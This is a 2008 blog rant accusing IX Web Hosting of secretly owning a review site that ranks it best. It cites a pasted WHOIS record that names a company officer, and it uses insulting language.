If you follow this link :  http://www-thehostingchart.com/   No suprise IX  Web Hosting is listed as THE BEST, and damn, after reading the review I was almost tempted to purchase another account…

By now we all know that IX Web Hosting is without doubt the worst and most incompetant web host out there.
So which twat would vote them the BEST??…  The answer  to that is … THEMSELVES!!

Now follow this link http://www.betterwhois.com/bwhois.cgi?domain=thehostingchart.com&x=75&y=14 

and 3 guesses who owns thehostingchart.CON   ??

Domain name: THEHOSTINGCHART.COM

 Administrative Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836
Technical Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836

 Registration Service Provider:
    Ecommerce, Inc., info@ecommerce.com
    1-800-861-9394
    http://www.ecommerce.com

And we all know that this knobber Samir Said is the CFO of Ecommerce Corporation. the parent company of IX WEB HOSTING.

OOOHHH, and three guesses who owns the # 2 spot “Host Excellence” as BEST Web Host at thehostingchart.CON   ??…  Yep you got it, Samir Said

This is the kind of DIRTY methods IX WEB HOSTING uses to lure customers

bigsmile

December 19, 2008 Posted by neverixweb | IX Web Hosting | , , , , , , , | 1 Comment